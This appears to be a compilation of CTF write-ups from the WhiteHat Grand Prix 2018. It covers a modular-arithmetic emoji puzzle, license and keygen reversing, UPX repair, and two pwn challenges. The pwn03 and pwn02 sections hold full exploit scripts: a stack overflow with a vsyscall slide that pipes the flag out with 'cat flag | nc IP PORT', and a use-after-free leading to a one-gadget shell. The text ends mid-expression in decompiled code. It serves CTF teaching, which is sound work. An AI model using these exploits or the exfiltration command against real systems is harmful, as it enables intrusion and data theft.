(?_?)          641072342      281225817      293240755      321003907     
(^_^)          324078528      889045681      483983051      103283684     
(~o~)          57590473       618155926      389926985      4295912       
(~_~)          480720695      535339640      709805607      130080855     
o.O            88139622       584724341      528917361      868022901     
(o.o)          31773824       321278395      230937564      139287394     
oO             929305518      457021266      885282508      821646046     
<_<            483063468      713769808      6404138        983646898     
>_>            86259272       495387210      523761674      655522004     
<o?o>          352569223      806985052      405453886      96888458       
(>^.^)         13446885       781237903      842345802      967302054     
(^.^<)         155704256      872607202      492051377      40621810       
>,<            589494855      375474890      12910056       55721531       
;-(            445793591      485056031      42055133       264070003     
>:-(           273791760      575559835      149683227      202477348     
@(-_-)@        385413303      476361140      733303627      988872984     
@(^_^)@        162219164      322345611      136067195      835475504     
~O-O~          871128442      534455323      132275419      372845099     
:)]            789516425      636339074      530573592      89693503       
.-]            720189903      767600763      32801237       62540911       
.-)            526402082      503564697      735408367      406646597     
,-)            284230473      377456495      171934951      584351302     
':-(           934728851      411860493      740283917      152086679     
'-)            296992354      721230115      853558354      582693347     
:-D            611619258      364242222      775590048      18022636       
:=)            149406960      655734808      401841140      420418918     
:@             524904631      323701516      445590058      166023135     
<:-P           90295722       328295842      900424357      455755334     
:)>-           860279369      879340025      531178009      275273365     
:^)            998244997      568869594      564026954      915507847     
3:]            627467503      261246151      519795303      424916420     
(o^-^o)        127803732      820062459      77131195       633921273     
:-<            503659779      716296684      790584903      993366886     
:-[            596497706      233554771      660617582      380800144     
=:-)           330896284      451246310      901770941      803795916     
:-))           722082675      530353406      720006166      914873545     
<(-_-)>        436096951      167519805      895912006      597810060     
9_9            182635947      968356305      365764220      374100297     
=))            357705508      909193878      176866598      126632317     
7:)            52189358       812712480      882190330      90405608       
(<_>)          992091929      126117984      520145161      784652516     
:-(            958493227      371815292      156487035      318488198     
/:-)           798055879      768101151      854110711      293863015     
(-_-)          247572818      96884158       225496762      524371879     
:-*            476938541      184608385      859713180      38362037       
::=))          217212770      475918153      8001010        52368247       
o_o            960321847      777557966      370232776      603559555     
(*^_^*)        164917508      497580071      304718977      778749984     
(-::-)         135600425      591552662      411230811      844033074     
(^o^)          114043599      267851809      764197233      729657426     
:o)            77033635       724309071      532256499      650125580     
:|)            92133304       673460316      661186700      844697945     
:)             341143663      291599585      224605429      514213089     
:-)            616261301      602862592      150890219      603786555     
+:-)           413093363      228415667      18326665       17079145       
(:-)           584187072      634395735      223113532      45382578       
{:-)           343750287      1908872        702997957      311091423     
^&^            529079589      574938394      233399359      117832407     
=.=            577014898      409511688      354573727      22364817       
*~*            196610398      165376804      497915681      485447329     
(:>-<          804706985      474755647      535797022      259962366     
:-)---         860526346      688746022      263287692      724472915     
*-)            221928355      887834546      690209569      140649690     
>:*            707429706      361667628      890981899      628576789     
>.<            478256657      679452160      427569933      398252856     
:[email protected]            842685569      29408161       399813077      195286593     
(:)-)          113217668      630504653      722567738      220013519     
::-)           628424516      717349638      437425785      947963941     
:[email protected]            200636705      54273079       500779926      631110356     
@,.,@          825607979      674708189      134882532      860611414     
:-E            817325600      356562506      392950183      347761068     
:-[            390102746      649147663      973292798      37327144       
:-))           915390296      615745566      588286121      438513696     
:-[]           350818957      706941720      99500462       444421129     
:-)))          624037961      151807502      848569245      7192210       
(:-            406777048      375986160      967616861      522557149     
$_$            153721779      510099055      549303633      537910630     
(^:^)          382883033      599595304      18464969       317011415     
|___|          450066663      771458013      361548329      929201245     
:-)            988605304      120169270      719780182      198013944     
>O<            62694268       154947217      61736412       370202519     
:=)            139611307      27068908       347349262      802145594     
-:-)           711270769      958899932      320121022      25695782       
|:-)           902903753      847237435      370638588      515861385     
<(^.^<)        36414441       29167376       972164958      643757408     
<(*.*<)        44726993       507681673      93259730       375999094     
(*_*)          660115130      36934065       950811076      706589789     
._.            656708457      60027297       874367948      436077729     
@:-)           904147006      657729620      590037586      614605662     
<('.')>        22338651       744151297      421884827      680423420     
<('.'<)        915666254      755172274      357152642      71468540       
<(^.^)>        761583139      274093669      579566114      968424306     
<('.'<)        1846023        999575088      416255614      542189089     
:-*            61411542       934130467      317698883      862889327     
(:-*           538367672      206718285      784199878      929721277     
=^.^=          38191813       444179562      50803550       607621511     
<{::}>         762261539      665199139      29749796       589314027     
:-D            813417897      516749674      198678296      492384881     
:))            692507260      933243641      910076492      177113479     
:.-)           706350257      208220064      561827765      973675855     
(-:            460728977      389190842      848053504      746993263     
>;->           2871890        469626441      251807800      158741716     
:^o            861438792      24236048       616330095      273007266     
:-9            959789499      631364945      414035584      939194517     
So, what is the most friendly face?

It's quite clear what we need to do: calculate (lip point**nose point)**(eyes point**forehead point) mod Face_index for each of the emojis and then send back to the server the one with highest score.

First optimization we can do is trivial, and comes directly from modular arithmetics:

Mã:

(a**b) mod n = ((a mod n)**b) mod n

And of course pow(a,b,n) is much faster than a**b to calculate. The real struggle is the second part - how to optimize calculation of b.

After a while we came up with an idea, that if certain conditions were met, we could actually use Euler theorem here. Euler theorem says that if a and n are co-prime then a**phi(n) mod n = 1. This is useful, because 1**x is always 1.

This would mean, that we could simplify our b to b mod phi(n).

For example we want to calculate 7**222 mod 10:

1. phi(10) = (2-1)*(5-1) = 4
2. 7**222 mod 10 = 7**(4*55) * 7**2 mod 10 = (7**4 mod 10)**55 * 7**2 mod 10 = 1**55 * 7**2 mod 10 = 7**2 mod 10
3. We could also simply notice that 222 mod 4 = 2 and thus 7**222 mod 10 = 7**2 mod 10

We can apply the same logic here, and re-write the equation:

Mã:

(lip point**nose point) = a
(eyes point**forehead point) = b
Face_index = n

(lip point**nose point)**(eyes point**forehead point) mod Face_index = a**b mod n
a**b mod n = (a mod n)**b mod n
a**b mod n = a**(b mod phi(n)) mod n

a**b mod n = (a mod n)**(b mod phi(n)) mod n = pow(a%n, b%phi(n), n)
a**b mod n = pow(pow(lip point, nose point, Face_index), pow(eyes point, forehead point, phi(Face_index)), mod Face_index)`

Keep in mind, this is all true only if a and n are co-prime, but we simply assumned they would be. Solver written in python is:

Mã:

import re

from crypto_commons.generic import factor
from crypto_commons.netcat.netcat_commons import nc, receive_until_match, send
from crypto_commons.rsa.rsa_commons import get_fi_repeated_prime


def main():
    s = nc("misc04.grandprix.whitehatvn.com", 1337)
    while True:
        data = receive_until_match(s, "So, what is the most friendly face\?", 5.0)
        print(data)
        modulus = int(re.findall("Face_index: (\d+)", data)[0])
        primes = factor(modulus)[0]
        phi = 1
        for prime in set(primes):
            k = primes.count(prime)
            phi *= get_fi_repeated_prime(prime, k)
        max = (0, "")
        for dataset in re.findall("(.*?)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)", data):
            face, lip, nose, eye, fore = dataset
            a = pow(int(lip), int(nose), modulus)
            b = pow(int(eye), int(fore), phi)
            result = pow(a, b, modulus)
            if result > max[0]:
                max = (result, face)
        print("sending", max)
        send(s, max[1])
        send(s, str(max[0]))
    pass


main()

Which gives us: WhiteHat{^.^_M4th_Math_Chin3se_Rema1nder_The0rem_&_Euler'[email protected]_MAth_^/^}

 

re05 | Point: 120 | Team: BotnetArmy

Description:

This challenge first connects to the server at port:8888 and then send various commands to it.

When we open the binary in IDA we found that at sub_4014A0 it connects to server having ip : 66.42.55.226 and sub_401090 it sends the test command in this format : "id|command|companyname|other"

Initial Idea:

• At 1 it sends the command to the server
• At 2 it generates the license using some algorithm
• At 3 prints "id/command help have been sended to you email"
• At 4 Exits

When we enter some random id other than 111 we get an error msg : "wrong id\n id looklike 000-999"

So we need to brute force to get the valid id :

Mã:

ids = [''.join(x) for x in itertools.product(string.digits, repeat=3)]
s.connect(('66.42.55.226',8888))
for i in ids:
    s.send('i|test|test|test\n')
    if "wrong id" not in s.recv(100):
        print i
    print s.recv(50)
print "Done"
s.close()

Finally we get valid ids are 111,720.

After giving the valid id it gives another error message : "wrong view command" So we gave the command as view.

After that it gives another error message : "wrong company" In problem description we have some company name so after try them we get a valid company : "fis"

After entering all the details we finally get aur license : "vqmuwzjxfmqmdnfhr"

So we have a valid license now we have to reverse the license generator alogrithm to get the secret key.

Mã:

key = 'vqmuwzjxfmqmdnfhr'
co     = 'fisfisfisfisfisfi'
alpha = string.lowercase
secret = ""
for (k,c) in zip(key,co) :
    diff = ord(k) - ord(c)
    if diff < 0:
        secret += alpha[ord(k) - ord(c)]
    else:
        secret += alpha[ord(k) - ord(c) - 1]
print secret

And finally,

Our Secret Key : "phuongdonghuyenbi"

 

pwn03 | Point: 420 | Team: perfectblue

Description:

Skimming through to find the bug!
So, first thing we did was to open up the binary in IDA, we quickly noticed that there a function called Echo() that calls read() with an un-initialized value as the count (amount of bytes to read).

This leads to a stack-based buffer overflow!

Stack Overflow --> Code Execution ?
So, after finding the bug, we also noticed there were no leaks whatsoever. After getting stuck for a while, we remembered a trick that used vsyscall for gadgets!

For those of you who don't know, vsyscall is always mapped to the same address.

The binary was running a "custom" libc, that had an additional gadget that basically did:

Mã:

add rdi, 127
jmp system

At the moment that we control the return-address, rdi points to somewhere inside our input. It is important to state that before we overwrite the return address, there is a call to strcpy() which "trashes" the value of rdi with a NULL terminated string -- this prevented us from just simply jumping to a system() gadget that was already present in the binary.

After we had control over the argument to system(), because stdin and stdout were both closed, we just executed the following command to get the flag: cat flag | nc IP PORT (where IP and PORT are the IP of our server, and the port we were listening to).

The vsyscall trick
So, you must be wondering "What vsyscall trick is he talking about...?" -- So there it is!

As the libc was patched, and added an extra, super-useful gadget, we had to use that gadget in order to get a shell.

After debugging a bit, we ntoiced that in offset 30 QWORDs (30 * 8 bytes) from the return address (including the return-address), there was a libc address in the stack.

Using the fact that vsyscall is always mapped to the same address, we can use some of it's gadgets!

We can't just jump into a middle of a vsyscall, so we have to perform a "whole" vsyscall, but the general idea is to use the ret instruction of a vsyscall to just "slide through" the stack until we reach a libc-address, and then we only partiall overwrite it.

This is the vsyscall gadget we decided to use:

Mã:

   0xffffffffff600400:    mov    rax,0xc9
   0xffffffffff600407:    syscall
   0xffffffffff600409:    ret

Breaking ASLR ?
Even though we have bypassed most of the ASLR randomization, there are still 12 bits that we don't know for sure after overwriting the 3 least significant nibbles (12 least significant bits) of the libc address -- the way we bypassed ASLR is by relying on a statistical factor, we ran the exploit for quite some time until we landed with a "good" ASLR base guess.

Finalizing the exploit
So, to sum things up we have the following points to finish up our exploit:

1. Overwrite the stack from the return address (including) with 30 QWORDs that hold the address 0xffffffffff600400, this will allow us to "slide" through the stack until we reach a libc address.
   
   
2. Make sure that when we start jumping to the vsyscall "slide", rdi+127 holds the string "cat flag | nc IP PORT" (this is easily done because rdi+127 is controlled by us!).
   
   
3. Once we reach the libc address, overwrite it partially with 3 bytes - these 3 bytes will be the 3 least significant bytes of the "patched-in" gadgets, which will finally execute: system(rdi+127) which is system("/bin/sh").
   
   
4. Profit!

Exploit Code
Note: this exploit works with a statistical factor

The flag was: WhiteHat{6c6edbd044176a913a1ed34661a37e836848f066}

Mã:

import hashlib
import os
import time

def solve(pre, sice):
    for i in range(0x100000):
        if hashlib.sha512( pre + str(i)).hexdigest().startswith(sice):
            return i
    return -1

from pwn import *

proc = remote("pwn03.grandprix.whitehatvn.com", 2023)

proc.recvuntil("sha512(\"")
pre = proc.recvuntil('"').strip('"')
proc.recvuntil("0x")
pow_chall = proc.recvuntil("...").strip("...").strip("0x")
solution = solve(pre, pow_chall)
proc.recvuntil(" =")
proc.sendline(str(solution) + "\x00" + "A"*(77-len(str(solution))-1))

proc.recvuntil("al?")
proc.send("N0")

proc.recvuntil("/sh")
proc.sendline("1")

# an address that exists: 0x7ffff7a05b97 an address we need 0x7ffff7a3343e
vsyscall = p64(0xffffffffff600400)
count = 30

send_flag = 'cat flag | nc IP PORT\x00' # we censored our IP and PORT

leftover = (232-143-len(send_flag))
proc.send(cyclic(143) +send_flag+ 'A'*leftover+vsyscall*count + '\x3a\x34\xa3') # RIP control :P
proc.interactive()

 

pwn02 | Point: 130 | Team: perfectblue

Description:

The Challenge
We are given a "book store" service, which allows us to add, edit, remove and print out books.

The book structure is as follows:

Mã:

typedef struct book{
    book* nextBook;
    void* pBrief;
    char title[0x20];
    char book_idx;
    char refcount;
    void* print_func;
} book;

The pBrief member is a pointer to a malloc() d memory region (size is dependant on the user).

When adding a book, we also have the option to make a reference from that book to other books, and the book that receivesthe reference gets it's refcount field incremented. This can be seen in the following code-snippet inside the add_book() function:

Mã:

unsigned __int64 add_book()
{
   ...
   ...
    if ( reference_book_title )
    {
      current_book = list_of_books;
      running_idx = 0;
      while ( current_book )
      {
        v0 = (signed __int64)current_book->title;
        if ( !strncmp(&reference_book_title, current_book->title, 0x20uLL) )
        {
          new_book->book_idx = running_idx;
          ++current_book->refcount;
          break;
        }
        ++running_idx;
        current_book = (struct book *)current_book->next_book;
      }
    }
    ...
    ...
 }

Also, when adding a book, we have the option to make it a best-selling book. There is a global best_book variable that is stored in the data segment, and is pointing to the best selling book.

This global best_book also increments the book's refcount due to it also pointing to the book.

The Vulnerability
As seen above, the refcount member is only a BYTE in size, also, there are no checks whatsoever whether it overflows.

When adding a best selling book, the program checks if a best-selling book already exists, and if so, it decrements the original book's refcount member, and checks if it's 0, if it is, it calls free() to free the pBrief memory, and the book struct itself afterwards, this can be seen in the following code snippet (inside the function best_selling()):

Mã:

book *__fastcall best_selling(book *a1)
{
...
  if ( best_book )
  {
    --best_book->refcount;
    best_book->print_func = (__int64)print_normal;
    if ( !best_book->refcount )
    {
      free((void *)best_book->pBrief);
      free(best_book);
    }
  }
 ...
 ...
}

If we can get the refcount of a best-selling book to overflow to be 1 and then change a best-selling book, then that book would get freed (also it's pBrief member), but would not be removed from the linked list that exists due to the book* next_book member in the book struct.

This could theoretically grant us a UAF primitive, which is easily exploitable due to the fact that the size of pBrief is controlled by us, so we can make it to be the same size as the book struct, and achieve a perfect overlap!

The Leak
To achieve a reliable exploit, we also need an info-leak. This info-leak is very trivial due to the UAF primitive, and the fact that there is a function that prints the details of the books!

To get an info-leak we just need to get a UAF-ed book pBrief to overlap with a newly created book struct. If the pBrief has the same size as the struct, we can just leak the entire book struct! Also, we can modify the pBrief of the newly created book to make it point to malloc() 's GOT entry, and then leak the address of malloc() in libc when we print the data of the UAF-ed book!

The Exploit
After leaking, we can easily modify the print_func function pointer using the UAF-ed book's pBrief, to make it point to a shell one gadget and then easily pop a shell.

Modifying an in-use book's print_func is as easy as changing the pBrief of the UAF-ed book to just match what we want

After doing so, when we trigger the print_func for that same book, it will execute system("/bin/sh")

Basically - once we have that UAF, leaking and exploiting is as easy as modifying the fields of an in-use book struct, using the UAF-ed pBrief

Exploit Code

Mã:

from pwn import *

r = remote("pwn02.grandprix.whitehatvn.com", 8005)

def rc():
    r.recvuntil("choice:")

rc()

def addBook(title, briefSize, brief,referenceTitle="",bestSelling=False):
    r.sendline("1")
    r.recvuntil("Title:")
    r.sendline(title)
    r.recvuntil("size:")
    r.sendline(str(briefSize))
    r.recvuntil("brief:")
    r.sendline(brief)
    r.recvuntil("title:")
    r.sendline(referenceTitle)
    r.recvuntil("(Y/N)")
    if bestSelling:
        r.sendline("Y")
    else:
        r.sendline("N")
    rc()

def removeBook(title):
    r.sendline("3")
    r.recvuntil("Title:")
    r.sendline(title)
    rc()

addBook("first", 10, "CCCC","CCCC", bestSelling=False)

addBook("AAAA",0x3a,"A"*0x30,"AAAA",bestSelling=True)

for m in range(255):
    addBook("abc"+"A"*m,10,"BBBB","AAAA", bestSelling=False)

addBook("newBook", 10, "newBook", "newBook", bestSelling=True)

removeBook("first")


MALLOCGOT = 0x601fd0
ONE_GADGET = 0x10a38c

addBook("newBook2", 58, "\x00"*8+p64(MALLOCGOT)+"F"*8, "newBook2", bestSelling=False)

r.sendline("4")

r.recvuntil("FFFFFFFF|")

leak = r.recvline()

mallocLeak = int(leak.strip()[::-1][4:][:6].encode('hex'),16)
rc()

log.info("malloc leak @ 0x%x" % mallocLeak)

LibcBase = mallocLeak - 0x97070
log.info("libc base @ 0x%x" % LibcBase)

nextPayload = "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFAA" + p64(LibcBase+ONE_GADGET)

r.sendline("2")

r.recvuntil("title:")
r.sendline("newBook2")

r.recvuntil("title:")
r.sendline("pwn")

r.recvuntil("size:")
r.sendline("58")

r.recvuntil("brief:")

r.sendline(nextPayload)

r.interactive()

 

re03 | Point: 380 | Team: BotnetArmy

Description:

This binary simple asks for the key and we have to reverse its key validating algorithm.

When we first load the binary in the debugger it runs its just terminate due to some anti-debug checks. But I am not bother about this right now. I simply runs the executable and then attach the debugger the the process.

When we load the executable in IDA we saw that at sub_4029C0 the validation process goes on. Let's dive into this.

At 00402A73 it calls surely_part_checker (sub_402BB0). Then at 00402BB0 it checks that key length should be greater than or equals 10.

If we provide 10 length key then,

• At 00402CBD it calls add_3_first_9_r (sub_404010) - means add 3 to 0-9 elements and set last as r
• But when at 00402CE0 when it calls simple_copy_11_19_r (sub_404100) - means simple copy 11-19 and set last as r, it throws an error box.

So we need to provide the key of length 20 now. When we provide 20 length key then,

• At 00402DC0 it calls add_3_first_9_r
• At 00402DE3 it calls simple_copy_11_19_r
• But when at 00402E06 when it calls add_5_21_29_f (sub_404200) - means add 5 to 21-29 and set last as f, it throws an error box.

So now we need to provide the key of length 30 now. When we provide 30 length key then,

• At 00402EFF it compares the key length with 40 and throws an error box.

So now we need to provide the key of length 40 and then checks the last element must be 'x'. When we provide 40 length key then,

• At 00402F3F it calls add_3_first_9_r
• At 00402F62 it calls simple_copy_11_19_r
• At 00402F85 it calls add_5_21_29_f
• At 00402FA8 it calls add_3_b_32_39_r - means set b first and the from 32-39 add 3 and set last as r
• At 00402FCB it calls add_3_0_19_r (sub_404420)(I think you get it now.... ༽(•⌣•)༼ )
• At 00402FEE it calls add_3_21_39_r (sub_404510)
• At 00403011 it calls add_2_11_29_r (sub_404620)

At 00403032 it calls add_2_and_3_0_9_r_on_add_3_first_9_r (sub_403420) which adds 2 and 3 alternatively on output from add_3_first_9_r and then compares it with "poskjyrvyr".

If this checks succeeds then,

• At 004030B8 it calls add_9_and_5_11_19_r_on_simple_copy (starting with 9 and add it on every 4th index and remaining with 5)
• At 004030F0 it calls sub_404970 which compares results with "j676kn|5nr".

If this check succeeds then,

• At 00403112 it calls add_3_and_1_21_29_f_on_add_5 (sub_403790) (starting with 3 and add it on every 3rd index and remaining with 1)
• At 0040314A it calls sub_404970 which compares results with "uku|nokxqf"

If this check succeeds then,

• At 0040316C it calls sub_403940 (starting with 2 and add it on every 2nd index and remaining with 1)
• At 004031EC it calls sub_404970 which compares results with "dzihggh{er"

And in the same sense it checks on other section. This is the whole main idea behind this key verifier.

For the whole solution check out the python script.

make_key.py

Mã:

key = ""

s = "poskjyrvyr"
s1 = ""
for i in xrange(9):
    if i % 2 == 0:
        s1 += chr(ord(s[i]) - 2)
    else:
        s1 += chr(ord(s[i]) - 3)

s2 = "".join([chr(ord(x) - 3) for x in s1])
s2 += 'r'
print s2
key += s2

s1 = ""
t = "j676kn|5nr"
for i in xrange(9):
    if i % 5 == 0:
        s1 += chr(ord(t[i]) - 9)
    else:
        s1 += chr(ord(t[i]) - 5)

s2 = "".join([chr(ord(x)) for x in s1])
s2 += 'r'
print s2
key += s2

s1 = ""
u = "uku|nokxqf"
for i in xrange(9):
    if i % 4 == 0:
        s1 += chr(ord(u[i]) - 3)
    else:
        s1 += chr(ord(u[i]) - 1)

s2 = "".join([chr(ord(x) - 5) for x in s1])
s2 += 'f'
print s2
key += s2

s1 = ""
v = "dzihggh{er"
for i in xrange(9):
    if i % 3 == 0:
        s1 += chr(ord(v[i]) - 2)
    else:
        s1 += chr(ord(v[i]) - 1)
s1 = s1[1:]
s2 = "".join([chr(ord(x) - 3) for x in s1])
s2 = 'b'+s2+'x'
print s2
key += s2

s1 = ""
w = '\x90rwn\x8a|vy\x99mj:W:on\x9c9rr'
for i in xrange(19):
    if i % 4 == 0:
        s1 += chr(ord(w[i]) - 0x22)
    else:
        s1 += chr(ord(w[i]) - 6)

s2 = "".join([chr(ord(x) - 3) for x in s1])
s2 += 'r'
print s2

s1 = ""
x = '\x82lv}m~lyplE}ljjxj~hr'
for i in xrange(19):
    if i % 5 == 0:
        s1 += chr(ord(x[i]) - 0x12)
    else:
        s1 += chr(ord(x[i]) - 4)

s3 = "".join([chr(ord(x) - 3) for x in s1])
s3 += 'x'
print s3

s1 = ""
y = 'd343igy2llogrxhkhtkr'
for i in xrange(19):
    if i % 4 == 0:
        s1 += chr(ord(y[i]) - 1)
    else:
        s1 += chr(ord(y[i]))
print s1

s4 = ""
for l in xrange(19):
    s4 += chr(ord(s1[l]) - 2)
s4 += 'e'
print s4

key = s2[:10] + s4 + s3[10:]

print "Key : " + key

# kineesmptra121few0ijmeovfierifbveccccwax

 

re04 | Point: 390 | Team: p4team

Description:

Mã:

[email protected]:/mnt/c/Users/nazyw/Downloads$ file WH2018.exe
WH2018.exe: PE32+ executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Hm, another .Net binary?

​

Okay, something is definietly off here...

Repairing the binary
Throughout this wirteup we'll use the kaitai parser, it's been a massive help in this challange.

​

So this is probably a upx-packed binary...

Let's take a look at the booched entry point:

​

So the address of EntryPoint is set to 0, that's kinda odd.

What's weirder, the imageBase is set to 0x400000001E300, that value actually looks like 2 32-bit addresses concatenated.

Could the binary be in fact 32-bit? Let's find out!

All we have to do is move a one bit to the right:

​

How about the addresses?

​

That looks better, but the entry point is still messed up and decompressing the binary using upx fails.

But since we know a upx-ed file structure we can just find it manually and set the entry point offset to a correct value.

The unpacking procedure:

​

Since the entry point is relative to the image base address we'll have to set it to 0x005E28D0 - 0x00400000 = 0x001e28d0.

upx is still not happy about the binary though:

Mã:

[email protected]:/media/sf_nazyw/Downloads$ upx -d WH2018_32
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: WH2018_32: CantUnpackException: file is modified/hacked/protected; take care!!!

Unpacked 0 files.

Well, it turns out the section names have to be correct as well:

​

Mã:

[email protected]:/media/sf_nazyw/Downloads$ upx -d WH2018_32
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   1872384 <-    823296   43.97%    win32/pe     WH2018_32

Unpacked 1 file.

Success!

Core analysis
The binary is crashing because of memory misaligment issues, to solve that we have to turn on the Relocation information is stripped from the file bit:

​

Since the analysis of the decompressed binary is pretty straigh forward, we'll describe just the checks that are performed.

There are 2 functions for handling 2 different button presses.

First function
The first thing it checks is wheter the program was run with 5 argv parameters:

Mã:

  v9 = CommandLineToArgvW(v8, &pNumArgs);
  if ( pNumArgs != 5 )
  {
    LOBYTE(v85) = 0;
    if ( _InterlockedDecrement((volatile signed __int32 *)(v7 - 16 + 12)) <= 0 )
      (*(void (__stdcall **)(int))(**(_DWORD **)(v7 - 16) + 4))(v7 - 16);
    v85 = -1;
    v10 = (volatile signed __int32 *)(v4 - 16);
LABEL_9:
    if ( _InterlockedDecrement(v10 + 3) <= 0 )
      (*(void (__stdcall **)(volatile signed __int32 *))(**(_DWORD **)v10 + 4))(v10);
    return;
  }

Then it checks if the third's argument length is equal to 35:

Mã:

 v15 = v12[2];
  v16 = (int)(v15 + 1);
  do
  {
    v17 = *v15;
    ++v15;
  }
  while ( v17 );
  if ( ((signed int)v15 - v16) >> 1 != 35 )
  {
    LOBYTE(v88) = 0;
    v18 = v42 - 16;
    v19 = _InterlockedDecrement((volatile signed __int32 *)(v42 - 16 + 12));
    v20 = v19 == 0;
    v21 = v19 < 0;
LABEL_17:
    if ( v21 || v20 )
      (*(void (__stdcall **)(int))(**(_DWORD **)v18 + 4))(v18);
    v88 = -1;
    v13 = (volatile signed __int32 *)(v41 - 16);
    goto LABEL_9;
  }

Xors it with 0x66:

Mã:

  do
  {
    *(&v45 + v31) ^= 0x66u;
    ++v31;
  }

And does a bunch of static comparasions:

Mã:

if ( v45 != '_' )
...
if ( v46 != '$' || v47 != '^' || v48 != 'W' || v49 != '_' || v50 != 35 || v51 != '%' || v52 != 'W' )
...
if ( v53 == 'S'
    && v54 == '$'
    && v55 == 'R'
    && v56 == '#'
    && v57 == '$'
    && v58 == '^'
    && v59 == '\''
    && v60 == 'W'
    && v61 == '%'
    && v62 == 'S'
    && v63 == '%'
    && v64 == '\''
    && v65 == 'T'
    && v66 == 'U'
    && v67 == '_'
    && v68 == 'V'
    && v69 == '\''
    && v70 == '#'
    && v71 == 'W'
    && v72 == 'R'
    && v73 == '#'
    && v74 == 'T'
    && v75 == '^'
    && v76 == '_'
    && v77 == '^'
    && v78 == 'Q'
    && v79 == '\'' )

From which we get, the value '9B819SC15B4EB8A1C5CA2390AE14E28987A', so from now on we have to launch the binary with that string as the third argument.

Second function
First check:
The string is grabbed, md5-ed using the imported functions and then compared to a static array of values:

Mã:

BOOL __stdcall sub_407040(int a1)
{
  int v1; // esi
  int v3; // [esp+8h] [ebp-80h]
  int v4; // [esp+Ch] [ebp-7Ch]
  int v5; // [esp+10h] [ebp-78h]
  int v6; // [esp+14h] [ebp-74h]
  int v7; // [esp+18h] [ebp-70h]
  int v8; // [esp+1Ch] [ebp-6Ch]
  int v9; // [esp+20h] [ebp-68h]
  int v10; // [esp+24h] [ebp-64h]
  int v11; // [esp+28h] [ebp-60h]
  int v12; // [esp+2Ch] [ebp-5Ch]
  int v13; // [esp+30h] [ebp-58h]
  int v14; // [esp+34h] [ebp-54h]
  int v15; // [esp+38h] [ebp-50h]
  int v16; // [esp+3Ch] [ebp-4Ch]
  int v17; // [esp+40h] [ebp-48h]
  int v18; // [esp+44h] [ebp-44h]
  int v19; // [esp+48h] [ebp-40h]
  int v20; // [esp+4Ch] [ebp-3Ch]
  int v21; // [esp+50h] [ebp-38h]
  int v22; // [esp+54h] [ebp-34h]
  int v23; // [esp+58h] [ebp-30h]
  int v24; // [esp+5Ch] [ebp-2Ch]
  int v25; // [esp+60h] [ebp-28h]
  int v26; // [esp+64h] [ebp-24h]
  int v27; // [esp+68h] [ebp-20h]
  int v28; // [esp+6Ch] [ebp-1Ch]
  int v29; // [esp+70h] [ebp-18h]
  int v30; // [esp+74h] [ebp-14h]
  int v31; // [esp+78h] [ebp-10h]
  int v32; // [esp+7Ch] [ebp-Ch]
  int v33; // [esp+80h] [ebp-8h]
  int v34; // [esp+84h] [ebp-4h]

  v7 = '7';
  v8 = '2';
  v13 = '7';
  v15 = '2';
  v3 = '3';
  v4 = 'A';
  v5 = 'B';
  v6 = '4';
  v9 = '8';
  v10 = '4';
  v11 = 'C';
  v12 = 'F';
  v14 = 'E';
  v16 = '6';
  v17 = '0';
  v18 = '5';
  v19 = '4';
  v20 = '1';
  v21 = 'D';
  v22 = '8';
  v23 = '1';
  v24 = '0';
  v25 = 'B';
  v26 = 'E';
  v27 = 'B';
  v28 = '5';
  v29 = '4';
  v30 = 'D';
  v31 = '3';
  v32 = '4';
  v33 = '0';
  v34 = '5';
  v1 = 0;
  while ( !IsDebuggerPresent() && *(char *)(v1 + a1) == *(&v3 + v1) )
  {
    if ( ++v1 >= 32 )
      return IsDebuggerPresent() == 0;
  }
  return 0;
}

Looking up the hardcoded md5 hash we get whitehat

Second check
The second checks actually consists of 3 checks, with each one checking 24 different bytes of the input.

The first and third ones are based on finding a set of integers that fulfils a certain set of formulas:

Mã:

signed int __stdcall sub_4013B0(const void *a1)
{
  int v1; // ecx
  int v3; // [esp+84h] [ebp-Ch]
  int v4; // [esp+88h] [ebp-8h]
  int v5; // [esp+8Ch] [ebp-4h]
  int v6; // [esp+90h] [ebp+0h]
  int v7; // [esp+94h] [ebp+4h]
  int v8; // [esp+98h] [ebp+8h]
  int v9; // [esp+9Ch] [ebp+Ch]
  int v10; // [esp+A0h] [ebp+10h]
  int v11; // [esp+A4h] [ebp+14h]
  int v12; // [esp+A8h] [ebp+18h]
  int v13; // [esp+ACh] [ebp+1Ch]
  int v14; // [esp+B0h] [ebp+20h]
  int v15; // [esp+B4h] [ebp+24h]
  int v16; // [esp+B8h] [ebp+28h]
  int v17; // [esp+BCh] [ebp+2Ch]
  int v18; // [esp+C0h] [ebp+30h]
  int v19; // [esp+C4h] [ebp+34h]
  int v20; // [esp+C8h] [ebp+38h]
  int v21; // [esp+CCh] [ebp+3Ch]
  int v22; // [esp+D0h] [ebp+40h]
  int v23; // [esp+D4h] [ebp+44h]
  int v24; // [esp+D8h] [ebp+48h]
  int v25; // [esp+DCh] [ebp+4Ch]
  int v26; // [esp+E0h] [ebp+50h]
  int v27; // [esp+E4h] [ebp+54h]
  int v28; // [esp+E8h] [ebp+58h]
  int v29; // [esp+ECh] [ebp+5Ch]
  int v30; // [esp+F0h] [ebp+60h]
  int v31; // [esp+F4h] [ebp+64h]
  int v32; // [esp+F8h] [ebp+68h]
  int v33; // [esp+FCh] [ebp+6Ch]
  int v34; // [esp+100h] [ebp+70h]

  qmemcpy(&v3, a1, 0x80u);
  v1 = 0;
  while ( 1467 * v4+ 1464 * v12+ 1491 * v18+ 1961 * v17+ 2169 * v7+ 2145 * v14+ 3358 * v10+ 3281 * v15+ 3500 * v6+ 3478 * v9+ 3391 * v23+ 3436 * v22+ 3705 * v13+ 3604 * v24+ 1153 * v26+ 3962 * v11+ 3942 * v20+ 1292 * v27+ 3995 * v19+ 1382 * v28+ 1716 * v30+ 1726 * v34+ 1902 * v25+ 2718 * v31+ 2895 * v32+ 3421 * v29+ 3447 * v33+ 2827 * (v21 + v16)+ 1724 * v8+ 1334 * v5+ 1041 * v3 == 6528434
